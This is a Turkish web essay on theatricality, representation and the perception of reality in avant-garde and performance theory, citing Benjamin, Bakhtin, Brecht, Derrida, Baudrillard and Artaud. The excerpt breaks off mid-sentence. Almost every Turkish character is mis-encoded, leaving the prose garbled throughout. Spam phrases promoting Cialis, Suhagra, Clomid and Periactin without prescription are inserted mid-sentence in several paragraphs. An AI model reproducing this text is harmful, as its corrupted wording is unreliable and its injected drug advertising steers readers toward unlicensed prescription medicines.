11 Aralık 2018, Salı
SON HABERLER
Buradasınız: Anasayfa / Makale / Teatrallik Ve GerAi??ek AlgAi??sAi??

Teatrallik Ve GerAi??ek AlgAi??sAi??

1878ai??i??de Mikhail Bakunin tarafAi??ndan askeri terminolojiden alAi??nan bir terim olan Avant-gardeai??i??nin (Ai??ncA? birlik), bir dergiye isim olarak verilmesiyle gA?ndeme gelen avangardizm, sonundaki ai???-izmai??? ekininin hakkAi??nAi?? verecek derecede politik bir tavra dAi??nA?AYmA?AYtA?r. Halkla baAYAi??nAi?? koparan Ai??zerk sanatAi??n, yeniden halkla bA?tA?nleAYmesi fikriyle yola Ai??Ai??kan hareketler, Bakuninai??i??in anarAYist gAi??rA?AYA? doAYrultusunda AYekillenmiAYtir. Ai??aAYdaAY uygarlAi??AYAi??n karAYAi??sAi??nda yer alan avangardlarAi??n esas olarak en bilinen Ai??zelliklerini Christopher Innes AYAi??yle Ai??zetler: ai???Burjuvaziyle bA?tA?nleAYen her AYeyin ve aynAi?? zamanda da toplumsal Ai??rgA?tlenmenin ve sanatsal konvansiyonlarAi??n, estetik deAYerlerin ve maddi ideallerin, sAi??zdizimselliAYin ve mantAi??AYAi??n reddi.ai???[1]

Bu anarAYist idealler Ai??erAi??evesinde oluAYan yeni tiyatro anlayAi??AYAi??nda, burjuva tiyatrosunun mimetik algAi??sAi?? tamamen deAYiAYmiAYtir ve gerAi??ekliAYin temsili ilkesini ortadan kaldAi??rarak teatralleAYmesini beraberinde getirmiAYtir. Tiyatro, artAi??k edebiyatAi??n bir parAi??asAi?? olarak deAYil, kendi var olma ilkelerine gAi??re yeniden tarif edilmeye baAYlanmAi??AYtAi??r. Burjuva tiyatrosunun vazgeAi??ilmez Ai??zellikleri bir bir yAi??kAi??lmaya baAYlanmAi??AYtAi??r: Ai??AYlevsel dil yerini AYiirsel dile, bireyler arasAi?? iliAYkiler imkansAi??zAi??n paradosine, klasik mimesis anlayAi??AYAi?? bir baAYka hakikat Ai??erAi??evesinde Ai??arpAi??tAi??lmAi??AY imgelere, diyalog yerini monoloAYa ve iletiAYimsizliAYin bir gAi??stergesi olan montaj ve fragmana bAi??rakmAi??AYtAi??r.[2]Ai??Yeni anlayAi??AYAi??n estetik yAi??nelimi ise ai???sanat, hayatAi?? taklit ederai??? deAYil; tersine ai???hayat, sanatAi?? taklit ederai??? ilkesidir. DolayAi??sAi??yla sanat yapAi??tAi??nAi??n geAi??eklikle olan iliAYkisi deAYiAYmiAYtir. Bu noktada Walter Benjaminai??i??in ai???TekniAYin OlanaklarAi??yla Yeniden A?retilebildiAYi Ai??aAYda Sanat YapAi??tAi??ai??? adlAi?? makalesine bakmakta fayda var.

Benjamin, bu makalede yeniden A?retilmiAY olan sanat yapAi??tAi?? ile Ai??zgA?n yapAi??tAi?? karAYAi?? karAYAi??ya getirir. Benjaminai??i??e gAi??re, teknik yolla yeniden A?retilen sanat yapAi??tAi??nAi??n en Ai??nemli eksiAYi, ai???AYimdi ve buradaai??? olma ilkesinin ortadan kaldAi??rAi??lmAi??AY olmasAi??dAi??r. Bu ilke, yapAi??tAi??n hakikiliAYinin ve biricikliAYinin baAYat koAYuludur. Bu koAYul, teatralliAYin de en Ai??nemli koAYullarAi??ndan birini oluAYturur. Teatral olan, tekrarlanamazlAi??k hissi uyandAi??ran, o ai???anai???a ve o ai???mekanai???a dair olandAi??r. DolayAi??sAi??yla her teatral gAi??sterim, biriciktir. Benjamin, yeniden A?retimin yapAi??tAi??n Ai??zel atmosferini de ortadan kaldAi??rdAi??AYAi??nAi?? belirtir; yapAi??tAi??n bir defaya Ai??zgA? olan varlAi??AYAi??nAi??n yerine, kitlesel varlAi??AYAi??nAi?? geAi??irir. Sanat yapAi??tAi??nAi??n alAi??mlanmasAi??nAi?? Ai??nemli kAi??lan iki vurguya dikkat Ai??eker: YapAi??tAi??n Ai??zgA?n halinin kA?lt deAYeri ve yeniden A?retilmiAY olanAi??n tAi??rensellik baAYAi??nAi?? yitirmesiyle oluAYan sergileme deAYeri. Bu noktada sinema ve tiyatroyu karAYAi?? karAYAi??ya getirir. Buna gAi??re, sahne sanatAi??Ai??sAi??nAi??n sanatsal edimi, izleyiciye doAYrudan kendi kiAYiliAYi aracAi??lAi??AYAi??yla seslenir. Sinemada ise bu, bir aygAi??t aracAi??lAi??AYAi??yla gerAi??ekleAYir. Bunun iki sonucu vardAi??r: Ai??lki, sinema oyuncusunun edimini izleyiciye aygAi??t aracAi??lAi??AYAi??yla iletmesi nedeniyle, bA?tA?nsellik niteliAYine saygAi?? gAi??stermesine gerek yoktur; edimi bir dizi optik testten geAi??er. Ai??kincisi ise, sinema oyuncusunun edimini izleyiciye sunanAi??n kendisi olmamasAi?? nedeniyle, tiyatro oyuncusunun sahip olduAYu temsil sAi??rasAi??nda edimini izleyiciye gAi??re ayarlama olanaAYAi??nAi??n olmamasAi??dAi??r. BAi??ylece izleyici, oyuncuyla kurulmuAY hiAi??bir kiAYisel iliAYkisi olmaksAi??zAi??n bir bilirkiAYiye dAi??nA?AYA?r.

Benjamin, avantgarde tiyatroyu ai???alegoriai??? kavramAi?? iAi??inde deAYerlendirir. Benjaminai??i??e gAi??re alegori, eksikliAYin, dA?nyanAi??n ontolojik deAYer kaybAi??nAi??n formudur. Alegorik form, anti-estetiktir, dramAi??n alegorileAYtirilmesi tA?mA?yle yAi??kAi??m anAi??na ait bir estetikleAYtirme hamlesidir. Esas olan estetik dA?AYA?ncenin yAi??kAi??mAi??dAi??r. Benjaminai??i??e gAi??re, avangardlar auraai??i??nAi??n kaybolduAYu bir Ai??aAYAi??n A?rA?nlerini vermiAYlerdir. Benjaminai??i??in bahsettiAYi aura, dinsel kA?ltle ilgili deAYildir; RAi??nesansai??i??ta oluAYmaya baAYlayan sanat anlayAi??AYAi??na iliAYkindir. Auratik alAi??mlama, bir defalAi??k, yinelenemezlik ve sahicilik gibi kategorilere baAYlAi??dAi??r. Teknik yolla A?retilen sanat yapAi??tAi?? ise bu hakikilikten uzaktAi??r; sanat AYimdi ve burada olma niteliAYini kaybetmiAYtir.

Innes, avangard hareketin popA?lizm ile baAYlantAi??sAi?? olduAYunu sAi??yler ve bunu Bakhtinai??i??in ai???karnavaleskai??? terimi ile iliAYkilendirir. Bakhtin, ideal sanatAi?? geAi??iAY tAi??renlerindeki karnavalesk yapAi??da bulur ve bu avangard tiyatro ile iliAYkilendirilebilir. GeAi??iAY tAi??renlerinde toplumsal dA?zen yerle bir edilir, tabular parAi??alanAi??r; grotesk, karmaAYa ve eAYlence salt amaAi?? haline gelir. Grotesk ve kaos, farklAi?? bir dA?nya ve farklAi?? bir dA?zenin gizli gA?cA?nA? gAi??sterdikleri iAi??in deAYerlidirler. AvangardlarAi??n seyircisini AYaAYAi??rtma, onlarAi?? kolektif bir A?retimin parAi??asAi?? yapma, parAi??alanmAi??AY yapAi??larla toplum dA?zenini alt A?st etme idealleri ile Bakhtinai??i??in karnavalesk sanat ideali Ai??rtA?AYA?r. Innes, karnavalesk olan ile avangard hareketler arasAi??ndaki baAYAi?? AYAi??yle aAi??Ai??klar:

Ai??zellikle klasik estetiAYin sabitlenmiAY sanat yapAi??tAi??na karAYAi?? bir sA?reAi?? olarak sahnelemeye yapAi??lan vurgu ve en azAi??ndan kuramsal olarak oyuncularla seyircilerin eAYit katAi??lAi??mcAi??lar olarak bir komA?nyon yaratmak adAi??na gAi??steri ile gerAi??eklik arasAi??ndaki engellerin yAi??kAi??lAi??p birbirine karAi??AYmasAi??. Bakhtinai??i??in de sahneyi metafor olarak kullandAi??AYAi?? bir alAi??ntAi??da belirttiAYi gibi ai???karnavalai??i?? oluAYma, deAYiAYme ve yenilenme bayramAi??ydAi??.ai??? Toplumda da sanatta da Ai??lA?msA?zleAYtirilen ve tamamlanmAi??AY her AYeye dA?AYmandAi??.[3]

Seyirci ve oyuncularAi?? eAYit katAi??lAi??mcAi??lar haline getirme amacAi??, teatral bir gAi??sterimin hedeflendiAYinin Ai??nemli bir gAi??stergesidir. TeatralliAYin ai???AYimdi ve buradaai??? meydana gelme ilkesi, karnavallarda ve geAi??iAY tAi??renlerindeki sA?reci birlikte oluAYturma arzusu ile iliAYkilidir. Ai??zleyiciden kendini yalAi??tan ve kendisine ait gA?venli mekanAi??nda kendi baAYAi??na var olan illA?zyon tiyatrosunun Ai??zerk bA?tA?nlA?AYA? ve auratik etkisi de bu sayede yerle bir edilmiAY olur.

Teatrallik kavramAi?? Ai??erAi??evesinde tartAi??AYAi??lan ai???gerAi??ekliAYin temsiliai??? sorunu, sanat-hayat ikiliAYini zorunlu olarak iAi??erir. YaAYamAi??n birebir taklidinin ortadan kalkmasAi??, ai???-mAi??AY gibi yapmaai??? formA?lA? yerine, doAYrudan ai???ne ise onu yapmaai??? formA?lA?nA?n devreye girmesi sanat ve yaAYam arasAi??ndaki uAi??urumu ortadan kaldAi??rAi??r. Sanat, yaAYama ai???yA?ceai??? ve eriAYilemez bir noktadan bakmayAi?? bAi??rakAi??r ve gAi??sterim laikleAYir. YaAYam, tiyatronun estetize edilmiAY penceresinden, mesafesiz ve dolayAi??msAi??z olarak seyirciye sAi??zar. Silvija Jestrovic, teatralliAYin ayAi??rt edici Ai??zelliklerinden birini, hayatAi?? hem sahne A?zerinde, hem de gerAi??ek dA?nyada bir gAi??rselliAYe dAi??nA?AYtA?rmesi olarak saptar. GerAi??ek ve alAi??AYAi??lmAi??AY olan, bu sayede teatral olana evrilir.

Tarihsel olarak avant-garde hareketlerin teatral gAi??sterimler iAi??in Ai??nemli bir milat noktasAi?? olduAYu fikrini destekleyen Jestrovic, Rus avandgard tiyatrosunun ve Rus biAi??imcilerinin bu konuda Ai??nemli gAi??rA?AYleri olduAYuna deAYinir ve bu baAYlamda ai???ostranenieai??? (aracAi?? Ai??Ai??plaklaAYtAi??rma, mekanizmanAi??n kendisine iAYaret etmesi) kavramAi??na deAYinir. Buna gAi??re teatrallik, tiyatronun kurgusallAi??k ve metnin tamamlanamazlAi??AYAi?? sayesinde alAi??AYAi??lmAi??AYa uzaklaAYtAi??rAi??cAi?? bir mesafe koyar. Ostranenie kavramAi??nAi??n Brecht tiyatrosundaki yansAi??masAi??, yabancAi??laAYtAi??rmadAi??r. Brecht, yabancAi??laAYtAi??rmayAi?? bir mesafe koyma aracAi?? olarak kullanAi??rken farklAi?? stratejiler uygular. Ai??rneAYin, bu mesafeyi, oyuncunun rolA? ile kurduAYu iliAYkide arar. Oyuncunun rolA? ile mesafesinin, sokaktaki bir kazayAi?? anlatan kiAYinin dinleyicisi ile kurduAYu mesafe ile aynAi?? olmasAi??nAi?? ister. Oyuncu, rolA? ile Ai??zdeAYlik kurup onu yaAYamak yerine, ona tanAi??k olmalAi??, dAi??AYarAi??dan bakmalAi??dAi??r. EAYer oyuncu rolA? ile bu tA?rden bir rapor verme mesafesinde durursa, tam da Brechtai??i??in istediAYi gibi, rolA?ne eleAYtirel bir gAi??zle bakabilir. DolayAi??sAi??yla oyuncunun rolA?yle A?Ai??A?ncA? tekil AYahAi??s olarak konuAYmasAi??nAi?? ister. Bu mesafe, oyuncunun tavrAi??nAi??n bir tavAi??r olarak gAi??sterilmesini saAYlarken, tavrAi??n tavrAi??nAi??n oluAYmasAi??nAi?? da beraberinde getirir. TavrAi??n bu geciktiriciliAYi ile sahnenin episodik karakteri, Brecht tiyatrosunun temel karakteridir. Brecht tiyatrosunun teatral sahnelemesindeki kesintinin, sA?regiden alAi??AYkanlAi??k iAi??inde belirmesi ise, temel diyalektiAYi ortaya Ai??Ai??karAi??r. Bu sayede somut olarak taklit etmenin de Ai??nA?ne geAi??ilmiAY olur.

Teatrallik kavramAi??, Ai??oAYu zaman performatiflik kavramAi?? ile birlikte ele alAi??nAi??r. Evreinovai??i??un gerAi??ek yaAYam ile sahne performasAi??nda beliren teatrallik arasAi??ndaki sAi??nAi??rlarAi?? neredeyse ortadan kaldAi??ran gAi??rA?AYlerinin etkisi pek Ai??ok kuramcAi??da kendisini hissettirir. Elizabeth Burns, sahileAYtirici ve ikna edici olarak iki ayrAi?? konvansiyon tespit ettiAYi teatralliAYin, yaAYamla olan sAi??kAi?? baAYlantAi??sAi??nAi??n altAi??nAi?? Ai??izer. Burns, sahne performansAi??nda var olan teatrallikle, gerAi??ek hayatAi??n bir parAi??asAi?? olan teatrallik arasAi??nda bir baAY kurarak performatifliAYi iAYaret eder. Silvija Jestrovic, performatifliAYin kAi??klerini hem teatrallikten, hem de edebilikten aldAi??AYAi??nAi?? sAi??yler. Ona gAi??re, sanat-dAi??AYAi??, tekrar edilemeyen, anda olan bir yapAi?? olarak sanat yapAi??tAi??na girer ve sA?reAi?? iAi??inde kAi??smen estetize edilir. AynAi?? zamanda da kurgusal bir biAi??imi vardAi??r ve bu biAi??imle de gA?ndelik yaAYama girer ve gerAi??eklik ile temsilin iliAYkisini deAYiAYtirir. Jestrovic, bu gAi??rA?AYA? Ai??erAi??evesinde teatralliAYi ikiye ayAi??rAi??r: 1- Kendine-gAi??ndergesel yAi??nA?nA? aAi??Ai??AYa Ai??Ai??kararak tiyatroyu teatralleAYtiren, 2- ai???Oynama arzusunuai??? uyandAi??rarak hayatAi?? teatralleAYtiren teatrallik.

Janelle Reinelt, performansAi?? en genel anlamAi??yla AYAi??yle tanAi??mlar: Bilindik ve kurallara uygun teatral performanslara benzemeyen, sA?reAi?? iAi??indeki Ai??zneyi, bazAi?? materyallerin ve Ai??zellikle bedenin yapAi??mAi??nAi?? ve AYekillendirmesini ve temsil yeteneAYinin sAi??nAi??rlarAi??nAi??n keAYfedilmesini sahnedeki gAi??sterimle iAYaret eden edim. Reineltai??i??in performans gAi??rA?AYA?ndeki bedensellik vurgusu Ai??nemlidir. Ai??zleyicinin performansta performer bedeniyle kurduAYu iliAYki, benzetmeci gAi??sterimdeki bedenle kurulan iliAYkiyle aynAi?? deAYildir. Bedenin ai???AYimdi ve buradaai??? eylemesi, her gAi??sterimin biricik oluAYundan dolayAi??, tA?m aksamalarAi?? ve her defasAi??nda yeni olan fiziksel koAYullarAi??yla doAYrudan performer Ai??znesinin bedenine iAYaret eder. Bedenin varlAi??AYAi??yla iAYaret edilen ai???gerAi??eklikai??? ise, alAi??mlayAi??cAi??yAi?? AYA?pheye dA?AYA?ren bir gerAi??eklik algAi??sAi??dAi??r. Bedenin o anai??i??da yarattAi??AYAi?? algAi??, alAi??mlayAi??cAi??nAi??n kendi Ai??zne olma durumu iAi??indeki bireysel algAi??sAi??dAi??r. Kolektif bir alAi??mlama ortaya koymayan, hatta bu tA?rden nesnel bir bakAi??AY aAi??Ai??sAi??nAi?? yAi??kmayAi?? hedefleyen performans iAi??in bu Ai??znel algAi??lama sA?recinin AYA?pheli, deAYiAYken varoluAYu Ai??nemlidir. Performans gAi??sterimi, tek bir nesnel gerAi??ekliAYi ve bu gerAi??ekliAYe baAYlAi?? anlam oluAYturma mantAi??AYAi??yla iAYlemez. Ai??zleyici, Ai??zgA?rdA?r ve zaten nesnel doAYrulanmaya aAi??Ai??k cialis 20mg non generic. olan bir anlam Ai??Ai??karmasAi?? istenmez.

Nesnel gerAi??eklik algAi??sAi??nAi?? ve klasik mantAi??AYAi??n anlamlandAi??rma sA?recini boAYuna Ai??Ai??karmayAi?? hedefleyen performansta, yinelenemezliAYin vurgusu paradoksal bir biAi??imde yineleme mantAi??AYAi?? ile yapAi??lAi??r. Her gAi??sterim, bir Ai??ncekinin bir tekrarAi?? olsa ve genel hatlarAi??yla bir Ai??ncekinin aynAi??sAi?? olsa Suhagra without prescription, clomid reviews. da, aslAi??nda hiAi??bir gAi??sterim Ai??zdeAY deAYildir. Bedenin sahnedeki fiziksel bulunuAY hali, o bedenin sA?reAi?? iAi??indeki devinimsel deAYiAYimine baAYlAi?? olarak artAi??k aynAi?? beden deAYildir. DolayAi??sAi??yla, benzer bir hareketi yinelese de, bu saf bir tekrar deAYildir. Her defasAi??nda aralarAi??nda bir Ai??arpAi??klAi??k oluAYacaktAi??r. Bu Ai??arpAi??klAi??k, Ai??znenin deAYiAYken, uAi??ucu varoluAYunun tekrarlanamaz, o an iAi??inde olup biten eylemini gAi??sterir ve gAi??sterdiAYi anda siler. Her tekrar, kendi anAi??nAi??n devinimsel niteliAYinden beslenir.

Jacques Derrida, dilin genel durumunun bir yineleme olduAYunu dA?AYA?nA?r ve bunun da teatral sAi??zcelemleri birer istisna deAYil, tA?m sAi??zcelemlerin genel durumunun bir Ai??rneAYi ya da ai???defaai???sAi?? kAi??ldAi??AYAi??nAi??, onlarAi??n da bir Ai??nceki dilbilimsel yapAi??nAi??n yinelemesi olduAYunu sAi??yler. Performans iAi??in dile getirdiAYimiz, her yinelemenin yeni bir varoluAYa iAYaret etmesinden kaynaklanan gA?cA?nA?, Derrida benzer bir biAi??imde dile uygular. Buna gAi??re, yinelemenin gA?cA?, kendisi ile kendisinden Ai??nce oluAYturulmuAY kontekstler arasAi??ndaki kopuAYta yatar. Yineleme, kontekst ile sAi??zcelem arasAi??ndaki bir boAYluk olduAYu anlamAi??na gelir, bu boAYlukta evvelki AYartlarAi??n yerine getirileceAYine dair bir gA?vence yoktur, hatta tam tersine aralarAi??nda bir Ai??arpAi??klAi??k/tA?reme bulunur ve bu Ai??arpAi??klAi??k da edimsele gA?cA?nA? verendir.[4]Ai??Derrida, kendi gAi??rA?ntA?sA?nA? kendisi oluAYturan dilin, temsil mantAi??AYAi??na hizmet ettiAYini sAi??yler. Dil aracAi??lAi??AYAi??yla saAYlanan uzamlaAYtAi??rma, yeni bir uzam-zaman dA?AYA?ncesini Ai??aAYAi??rAi??r. Burada Ai??nemli olan dilin fiziksel/somut varlAi??AYAi??dAi??r. Derrida, dil ve temsil krizi arasAi??ndaki kavramsal baAYAi??ntAi??yAi?? AYAi??yle kurar:

olmayan bir yaratAi??cAi?? (yazar), uzaktan bir metni kuAYanarak (metinle silahlanarak) zamanAi?? ya da temsilin anlamAi??nAi?? gAi??zetler, birleAYtirir ve yAi??netir. Temsilde, temsil edilenler, doAYrudan onun (yazarAi??n) dA?AYA?ncelerini, hedeflerini adlandAi??rmakla yA?kA?mlA?dA?r. Temsil ediciler aracAi??lAi??AYAi??yla temsil edilenler- rejisAi??r ya da oyuncular ai??i?? boyunduruk altAi??ndaki kiAYilerdir, demek ki, buna gAi??re az ya da Ai??ok ai???yaratAi??cAi??ai???nAi??n dA?AYA?ncelerini temsil ederler.[5]

PerformansAi??n en temel dayanaklarAi??, temsil ve Ai??zne eleAYtirisi, sA?reAi?? iAi??inde oluAYma mantAi??AYAi??, bA?tA?ncA?l bir anlam yaratmaktan kasten kaAi??Ai??AY olarak belirlenebilir. PerformansAi??n bu Ai??zellikleri Ai??erAi??evesinde AYekillenen varoluAYu, teatralliAYin sAi??nAi??rlarAi?? iAi??inde gezindiAYinin de bir gAi??stergesidir. Temsile direnme tavrAi??, teatralliAYin temsil krizini de iAi??eren bir kavramdAi??r. GerAi??eAYin nesnel olarak temsilinden vazgeAi??ilmesiyle ortaya Ai??Ai??kan teatral durumda, gerAi??eklikle kurmaca olanAi??n sAi??nAi??rlarAi??nAi??n birbirinin iAi??ine geAi??iAYinin homojen olmayan bir daAYAi??lmayla gerAi??ekleAYmesi kafa karAi??AYAi??klAi??AYAi??na yol aAi??ar. SA?reyya Karacabey, bu temsil krizinin kaynaAYAi??nAi?? AYAi??yle aAi??Ai??klar:

GerAi??ekliAYi temsil ederken tiyatro, dAi??AY dA?nyayla aynAi?? materyalleri kullanmaktadAi??r. Bir nesne sahnede, hem gerAi??ek kullanAi??m iAYleviyle hem de gAi??stergesel kullanAi??m iAYleviyle yer alAi??r. Bu materyal-Ai??zdeAYliAYi yA?zA?nden ai???kurmacanAi??n teatral sunumuai??? zaten temelde, bir gAi??stergesel yanAi??lsamanAi??n iAYlev kazanmasAi??dAi??r. Seyirci, gAi??sterenin ve gAi??stergesinin aynAi?? materyal olmasAi??ndan dolayAi??, gAi??stergenin gAi??ndergesini algAi??ladAi??AYAi??nAi?? dA?AYA?nA?rken gerAi??ekte, o sAi??rada sadece gAi??steren vardAi??r. Sahnede gerAi??ekleAYen olaylar ile kurmacanAi??n gAi??nderdiAYi dA?nya arasAi??nda, kesintisiz bir referans deAYiAYimi vardAi??r; nesnenin sahnede gAi??rA?nmesiyle yorumlanmasAi?? birbirine paralel ilerler. DolayAi??sAi??yla tiyatro temsil edici bir sanattAi??r ve temsil krizi, dramatik metinler iAi??in de edebi metinlerle karAYAi??laAYtAi??rAi??ldAi??AYAi??nda daha sorun yaratAi??cAi?? sonuAi??lara yol aAi??maktadAi??r.[6]

Karacabeyai??i??e gAi??re, temsil krizi gerAi??eklik algAi??sAi?? ile doAYrudan iliAYkilidir. Kurmaca ile gerAi??eklik arasAi??ndaki ayrAi??mAi??n kaybolmasAi??yla, sanatAi??n kurmaca niteliAYi de ai???karAYAi?? kurmacaai???ya dAi??nA?AYA?r. Birbirine karAYAi??t olan bu iki kavram, tarihsel avangardlardan postmodernizme kadar geAi??en sA?re iAi??inde birbiriyle Ai??rtA?AYA?r hale sexy rx1, where to buy periactin online. gelmiAYtir. GerAi??ek, kurmaca bir karaktere bA?rA?nmA?AY ve sayAi??sAi??z suretini yaratmAi??AYtAi??r. Bu Ai??oAYalmacAi?? durum, Baudrillardai??i??Ai??n simA?lasyon kuramAi?? ile desteklenmektedir. SimA?lasyon benzetmesi ile aAi??Ai??klanan toplumsal yapAi??da, gerAi??eklik ve suretleri birbirine karAi??AYmAi??AY, gerAi??eklik yeniden A?retilir olanla, kitle iletiAYim araAi??larAi??nAi??n da etkisiyle, eAYdeAYer olarak algAi??lanmaya baAYlanmAi??AYtAi??r. ai???GAi??lgeler krallAi??AYAi??nda, artAi??k kimsenin gAi??lgesi yokturai??? diyen Baudrillardai??i??a gAi??re, gerAi??eklik bir yanAi??lsamadAi??r ve her dA?AYA?nce Ai??ncelikle onun maskesini Ai??Ai??karmak zorundadAi??r. Baudrillardai??i??dan Ai??ok Ai??nce benzer bir yeniden A?retimle deAYer kaybAi??na uAYrayan sanat yapAi??tAi??ndan bahseden Benjaminai??i??in gAi??rA?AYleri de benzer bir noktaya iAYaret eder: GerAi??eklik, kusursuz yeniden A?retimle sA?rekli tekrarlanan ve her defasAi??nda bir kopya olduAYu gerAi??eAYinin A?stA?nA? yeni bir gerAi??eklik algAi??sAi??yla Ai??rten bir tA?r ai???hiper-gerAi??eklikai??? yaratAi??r. GerAi??eklik algAi??sAi??ndaki bu deAYiAYimin tiyatrodaki yansAi??masAi??nAi?? Corvin AYAi??yle aAi??Ai??klar:

Tiyatro bir simulakr/yanAi??ltmaai??i??dAi??r. Ve simulakrdan doAYar ai??i?? yarattAi??AYAi?? benzerlik aldatmadan baAYka bir AYey deAYildir. Tiyatro yalnAi??zca yalan A?retir, ama devamlAi?? suretle o yalanlarAi?? doAYuran, gerAi??eklerdir. Ai??A?nkA? gerAi??ek dediAYimiz AYey, toplum tarafAi??ndan oluAYturulmuAY bir deAYer yargAi??sAi??dAi??r ai??i?? bu yargAi?? da istediAYi kadar yalana gerAi??eklik ruhsatAi?? vermeye yetkilidir.[7]

Corvinai??i??in tiyatroda yaratAi??lan suretin bir yalan olduAYuna dair gAi??rA?AYA?nA?n altAi??nda, Diderotai??i??nun A?nlA? ai???oyuncunun paradoksuai??? fikri yer alAi??r. Diderotai??i??ya gAi??re oyuncu, insanlara ait tutkularAi??n duygusuz ve soAYuk birer taklitAi??ileridir. AmaAi??larAi??, seyirciyi manipA?le etmektir. Ai??zleyiciyi aldatmak iAi??in Ai??alAi??AYAi??rlar ve iyi birer yalancAi??dAi??rlar. Didreotai??i??dan yola Ai??Ai??kan kuramcAi??lar, performans A?zerine deAYerlendirmelerini bu paradoksa gAi??re kurarlar. Oyuncu, izleyicinin aldanma boAYluAYunun karAYAi??sAi??na aldatma ve simA?lasyonun gA?cA?yle Ai??Ai??kar. Bu yaklaAYAi??mda Ai??nemli olan, yaAYam ve oyunun birbirine karAYAi??t hale getirilmesidir.

TeatralliAYin, sahne A?zerinde gerAi??eAYi kopyalamayan ama gerAi??ekliAYi kendi estetik projesi doAYrultusunda yeniden A?reterek gAi??stermesi fikrini aAi??Ai??mlamak iAi??in yeniden avangardlara bakmakta fayda var. Meyerhold, teatralliAYi Rus BiAi??imcilere yakAi??n bir yerden durarak tanAi??mlar: ai???Teatrallik, biAi??imin kaAi??Ai??nAi??lmazlAi??AYAi??na dayanAi??rai??i?? tiyatro sanattAi??r ve iAi??indeki her AYey, sanatAi??n kurallarAi??na gAi??re belirlenmelidir. Sanat ve hayat farklAi?? kurallarla yAi??netilir.ai???[8]Ai??Meyerholdai??i??un bu yaklaAYAi??mAi??, teatralliAYi, illA?zyonist yaklaAYAi??mlara ve performansAi?? da yazAi??lAi?? metne karAYAi?? A?stA?n tuttuAYu fikriyle Ai??rtA?AYA?r. Bu noktada Roland Barthesai??i??in teatrallik tanAi??mAi?? akla gelir: ai???Teatrallik, tiyatro-eksi-metindir, yazAi??lAi?? konudan itibaren, sahne A?zerine inAYa edilen gAi??stergeler ve duyular yoAYunluAYudur. Metni, yA?zeysel dilin derinliAYine gAi??men duyumsal yapaylAi??AYAi??n evrensel algAi??lanAi??AYAi??dAi??r.ai???[9]

20.yyai??i??da tiyatronun metin hA?kA?mranlAi??AYAi??nAi??n yerini yAi??netmenin almasAi??yla, yazarAi??n Ai??nemi azalmAi??AYtAi??r. ai???Sahnesel teatrallikai??? kavramAi??, bu noktada sahnesel olanAi??n metin karAYAi??sAi??ndaki A?stA?nlA?AYA?nA? gAi??sterir. Ancak postdramatik A?slupla yazan yazarlarAi??n, yeni tiyatro metinlerinde dili bilinAi??li olarak Ai??znelleAYtirmeleriyle, ai???metinsel teatrallikai??? kavramAi?? ortaya Ai??Ai??kmAi??AYtAi??r. Dilin kendi teatralliAYini yaratmasAi??, geleneksel dil algAi??sAi??nAi?? da tamamen deAYiAYtirir. Bu noktada dramatik metinlerle, dramatik olmayan metinlerin taAYAi??dAi??AYAi?? teatral potansiyel arasAi??ndaki fark Ai??nem kazanAi??r. Helga Finter, bu baAYlamda geleneksel ve analitik olmak A?zere iki tA?r metinsel teatrallik saptar. Dramatik teatrallikte, dramatik metinlerin, sahnede olacak olaylarAi??n bir elAi??isi olmasAi?? bakAi??mAi??ndan aracAi?? rol oynadAi??AYAi??nAi?? sAi??yler. Analitik teatrallikte ise, kurmaca metnin iAi?? iletiAYim sistemini aAYAi??p, tamamen sahneye odaklanAi??r. Finter, dramatik ve analitik teatrallik arasAi??ndaki farkAi?? AYAi??yle Ai??zetler: ai???Dramatik potansiyel ya da geleneksel metinsel teatrallik, yalnAi??zca kurmacanAi??n sahnede olacaklarAi??n olasAi?? elAi??isiyken ve metin iAi??i ai??i?? kurmaca iAi??i iken; analitik teatrallik, kurmacayAi?? aAYmakta ve yazarAi??n sahneleme sAi??rasAi??ndaki iletiAYim ortamAi??nAi?? dikkate alarak yazmasAi??dAi??r. TeatralliAYin bu biAi??imi, yeni metinlerin bir Ai??zelliAYi olarak nitelenebilir.ai???[10]

Anne A?bersfelt ise, metine ve sahnelemeye baAYlAi?? olarak oluAYan teatralliAYi bir tA?r terAi??rizm olarak gAi??rA?r. A?bersfled, bu iki alanAi??n metin kullanAi??mAi??na sadAi??k kalma ve metnin reddi konusunda ya ai???metinsel terAi??rizmai???i ya daAi?? ai???sahnesel terAi??rizmai???i seAi??tiklerini dA?AYA?nA?r. Bu anlamda, metnin hiyerarAYik olarak Ai??nemini reddedip, salt malzemeye indirgeyen gAi??rsel tiyatro iAi??in, teatralliAYin yaratAi??mAi?? eyleme baAYlAi??dAi??r. Sahnesel terAi??rizm, tiyatronun kendi dilini yaratma amacAi??ndadAi??r. Sahnede A?st A?ste yAi??AYAi??lan imgeler, hareket veya hareketsizlik temsili Ai??n plana Ai??Ai??karmak iAi??in adeta izleyicisine saldAi??rAi??r. O anda meydana gelen ve bir daha asla tekrar edilemeyecekmiAY hissini uyandAi??ran bir etki yaratmak iAi??in tA?m konvansiyonlarAi??nAi?? ortaya dAi??ker. GAi??sterim tekrarlanacak olsa bile, etkisi bir kereye Ai??zel olduAYunu sezdirir; bir anlamda Ai??yledir de. Oyuncu, aynAi?? temsili ikinci defa gerAi??ekleAYtiremez.

Kendi teatralliAYini oluAYturan dil, parAi??alanmAi??AY bir dildir. Bir kekemenin aAYzAi??ndan dAi??kA?len yarAi??m kalmaya mahkum sAi??zcA?kler gibidir. YarAi??da kalmak, asla tamamlanmamak ya da zaten hiAi?? oluAYmamAi??AY olmak asal hedefidir. A?bersfeltai??i??in terAi??rizm tanAi??mlamasAi??, bu anlamda mantAi??klAi??dAi??r; seyirci gAi??zleri Ai??nA?nde olup biten her AYeye maruz kalandAi??r. Ai??zleyici, gAi??sterimi her durumda geleneksel bir algAi?? Ai??erAi??evesinde deAYerlendirir ve anlamlAi?? bir bA?tA?n kurmaya Ai??alAi??AYAi??r. Ancak, teatralliAYin anlama direnen varlAi??AYAi??, sAi??zcA?klerin parAi??alanmasAi?? ve tamamlanmAi??AY bir metnin yokluAYuyla izleyiciye saldAi??rAi??r. TeatralliAYin bu anlamda en saldAi??rgan Ai??rneklerini AYA?phesiz Antonin Artaud vermiAYtir. Artaudai??i??ya gAi??re, tiyatrodaki asal sorun, BatAi?? tiyatrosunun tA?mA?yle A?stA?ne inAYa edildiAYi metindir. Edebiyattan doAYmuAY olan, dilin bA?tA?nsel yapAi??sAi??na sAi??AYAi??nan bu tA?r tiyatro artAi??k eskimiAYtir ve ai???baAYyapAi??tlarAi??n kAi??kA?nA? kazAi??mak gerekai???mektedir. SAi??zcA?kler kendilerinin Ai??tesine geAi??ebileceklerse ancak o zaman tiyatro iAi??in hala iAYe 